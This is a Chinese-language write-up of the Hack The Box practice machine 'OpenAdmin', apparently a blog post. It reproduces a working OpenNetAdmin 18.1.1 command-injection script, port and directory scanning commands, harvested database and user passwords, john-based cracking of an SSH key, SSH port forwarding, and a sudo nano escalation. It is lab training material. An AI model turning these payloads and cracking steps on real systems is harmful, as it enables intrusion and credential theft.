HTB-靶机-OpenAdmin

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.165

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.171 -o ./OpenAdmin-autorecon

masscan -p1-65535 10.10.10.171 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.171

或者
nmap -p- -Pn --min-rate=10000 -sV -sC 10.10.10.171

就看到开放了两个端口,先看看80端口业务

默认页面没啥东西,爆破目录看看,这里爆破方法很多,我就使用dirb命令直接爆破吧

dirb http://10.10.10.171

最后发现了下面个页面

artwork 
index.html
music
ona

上面每个页面都访问了一把,最终发现ona目录有价值

看到上面显示当前版本是old版本,版本号是v18.1.1 访问了她给的DOWNLOAD,发现是opennetadmin 根据此版本和名称搜索了一把发现了exploit,具体地址如下:

https://www.exploit-db.com/exploits/47691

对应的利用方式如下:

wget https://www.exploit-db.com/raw/47691
上面的exploit下载下来要在kali下执行dos2unix 将其转换成Linux环境下的文本环境

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo "BEGIN";${cmd};echo "END"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

将其改名执行
./opennetadmin.sh http://10.10.10.171/ona/

拿到权限通过在靶机上信息搜集

https://github.com/rebootuser/LinEnum
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

得到如下信息

$ls -la /var/www/
total 16
drwxr-xr-x  4 root     root     4096 Nov 22  2019 .
drwxr-xr-x 14 root     root     4096 Nov 21  2019 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22  2019 html
drwxrwx---  2 jimmy    internal 4096 Nov 23  2019 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www

然后根据此软件官方的信息,可用得知目标存放数据库配置文件的默认路径

https://opennetadmin.com/forum_archive/4/t-85.html
路径:
ona/local/config/database_settings.inc.php

$cat /var/www/html/ona/local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

读取到数据配置信息,获得了数据库的账号和密码,因为上面我们收集信息发现一个目录/var/www/有个internal的权限只能是jimmy才能查看到的,所以猜测上面数据库的密码信息是否也跟此用户一样,测试登录一吧,成功登录后查看目录/var/www/internal下面的index.php发现有硬编码加密的密码hash值

00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1

上述hash在somd5上查询 https://www.somd5.com/
得到结果:Revealed

得到账号和密码之后要通过web访问,但是我查看到internel对应目录及业务在本地监听一个高端口,外面访问不了,所以需要使用ssh进行端口转发,可以使用本地端口转发,也可以使用远程端口转发都可以,相关操作如下:

判断目标靶机本地开放internel的相关端口

jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>
jimmy@openadmin:/var/www/internal$
本地端口转发
ssh -NfqL 1337:127.0.0.1:52846 jimmy@10.10.10.171

然后kali上使用账号和密码访问http://127.0.0.1:1337

jimmy/Revealed

发现了加密的私钥,输入账号和密码成功登录之后会调整重定向跳转到main.php文件,就是上面看到的内容,看看main.php的代码内容

根据显示的信息可以知道私钥的用户就是joanna,现在要做的就是将加密的私钥破解出来密码,然后用私钥登录,下面是具体操作

开始使用ssh2john转换为john识别的hash,然后使用john进行密码破解
/usr/share/john/ssh2john.py id_rsa.bak > hash.txt
开始破解
john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt

joanna_id_rsa:bloodninjas

这里可以直接使用密钥加密钥的密码进行登录了,我这就试试把这个带密码密钥的文件转换成没有密码的私钥文件进行登录

kali@kali:~/Downloads/htb/openadmin$ openssl rsa -in joanna_id_rsa -out joanna_id_rsa_openadmin
Enter pass phrase for joanna_id_rsa:
writing RSA key

使用用户joanna成功登录目标靶机

执行一把sudo -l

可以通过特权nano进行提权

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14714093.html